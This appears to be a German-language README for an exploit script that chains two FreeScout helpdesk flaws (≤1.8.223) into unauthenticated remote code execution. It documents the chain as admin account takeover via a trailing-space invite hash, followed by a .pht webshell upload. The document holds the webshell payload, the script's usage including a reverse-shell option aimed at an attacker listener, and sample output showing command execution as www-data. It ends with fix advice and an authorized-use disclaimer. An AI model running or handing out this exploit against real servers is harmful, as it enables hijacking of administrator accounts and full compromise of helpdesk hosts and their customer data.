
Nicht authentifizierte Remote-Codeausführung in FreeScout ≤ 1.8.223 (ein Laravel-Helpdesk) durch Verkettung zweier Schwachstellen, die beide in 1.8.224 behoben wurden:
POST /user-setup/{hash}/{invite_sent_at} wählt das Konto nur anhand seiner Spalte invite_hash aus. Ein aktivierter Benutzer hat invite_hash = '', und bei MySQL/MariaDB ignoriert die Gleichheit von VARCHAR nachgestellte Leerzeichen, sodass hash = %20 auf den Administrator passt. Die Ablaufprüfung von invite_sent_at entschlüsselt den Wert mit dem Passwort des Benutzers als Schlüssel, aber der Entschlüsselungs-Helper gibt bei einem Fehler die Roheingabe zurück (leeres catch), sodass ein aktueller Unix-Zeitstempel im Klartext akzeptiert wird. Der Endpunkt überschreibt anschließend E-Mail und Passwort des Kontos und meldet dich an..pht-Upload. Die Upload-Denylist (php.*|sh|pl|phtml|phar) deckt .pht nicht ab, das Apache mod_php als PHP ausführt.Durch die Verkettung beider erlangt ein nicht authentifizierter Angreifer Codeausführung als Webserver-Benutzer (www-data).
GET /user-setup/%20/<unix_ts> aufrufen, um ein Session-Cookie + CSRF-Token zu erhalten.POST aufrufen, um E-Mail/Passwort des Administrators zu überschreiben und sich anzumelden (ATO).shell.pht per POST /uploads/upload hochladen (<?php system($_GET['c']); ?>)../exploit.sh -t <target> [options]
-t, --target URL target base URL (e.g. http://10.10.10.10) [required]
-c, --cmd CMD run a single command (default: id)
--lhost IP reverse shell: attacker IP (start nc first)
--lport PORT reverse shell port (default 4444)
--email ADDR email to set on the seized admin (default [email protected])
--password PASS password to set (default Pwned12345)
-h, --help
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> [email protected] / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30
# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.
bash, curl, jq1.0.x – 1.8.223; 1.8.224+ behebt beide Fehler (aus 302 wird eine fehlgeschlagene Übernahme)..pht hängt davon ab, dass der Server .pht über mod_php ausführt — die Umgebung "Standard Apache + libapache2-mod-php", auf die die CVE abzielt.system() läuft über /bin/sh (dash auf Debian/Ubuntu), das die nur in Bash verfügbare Umleitung >& /dev/tcp/... nicht versteht, und base64 umgeht außerdem alle Anführungszeichen-Fallstricke.! — ! löst in interaktiven bash/zsh-Shells die Historie-Expansion aus und verstümmelt eingefügte Befehle.VARCHAR-Gleichheit für Sicherheits-Tokens verwenden (Kollisionen durch nachgestellte Leerzeichen) und eine fehlgeschlagene Entschlüsselung niemals als gültigen Wert behandeln — leere/ungültige Tokens ablehnen.Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Verwende es nicht gegen Systeme, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zum Testen hast. Der Autor übernimmt keine Haftung für Missbrauch.